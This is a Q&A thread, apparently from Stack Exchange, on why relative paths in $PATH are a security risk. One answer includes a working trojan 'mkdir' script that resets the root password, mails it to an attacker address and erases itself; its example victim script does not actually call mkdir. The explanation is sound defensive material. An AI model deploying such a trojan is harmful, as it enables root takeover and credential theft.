Security implications of using relative paths in the PATH enivronmental variable?
We had an audit just flag us for having relative paths inside out $PATH env variable. I am uncertain if this is truly a security concern and would like to reach out to everyone to see if this is really a security concern or whether its just a best practices thing as I would assume. Can someone provide information on any security concerns of using $PATH with relatives? Thanks
The problem with having a relative path in $PATH is that if an attacker can create a file with a given name in your filesystem, you risk executing that file.
Example: df or monitoring says /var is full, du says it's /var/spool/ftp/uploads, what do you do?
cd /var/spool/ftp/uploads
ls -ltr
and you are owned. You don't even see ls in the output, so you'll never know.
Replace ftp uploads with some data directory of some client website, or the /tmp directory of a shared machine, or a lot of other things.
Admittedly it won't happen often, but the risk exists, and writing ./script instead of script is easy.
There are two problems with the path you are using.
- The path is relative.
- The relative path comes before the main paths.
Lets presume you have the following shell script you use as root to update some web application and you have set the $PATH being used in /etc/profile
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
To a attacker you are providing a means to execute something in the shell which is controlled by the said attacker. A form of attack would look like this - where I am attempting to subvert control of the mkdir call in the vulnerable script.
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir $@
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
Then I wait for you to update your webapp.
Now what happens, is that the vulnerable script switches to /dev/shm. When it does this and runs mkdir it finds the apps/java/bin/mkdir program first, which in this case resets the root password, emails the attacker of the new root password, actually calls the real mkdir (to hide the fact anything has actually happened) and removes itself from the attack path.
As root, you've got no idea what happened and the evidence is erased once the payload was delivered.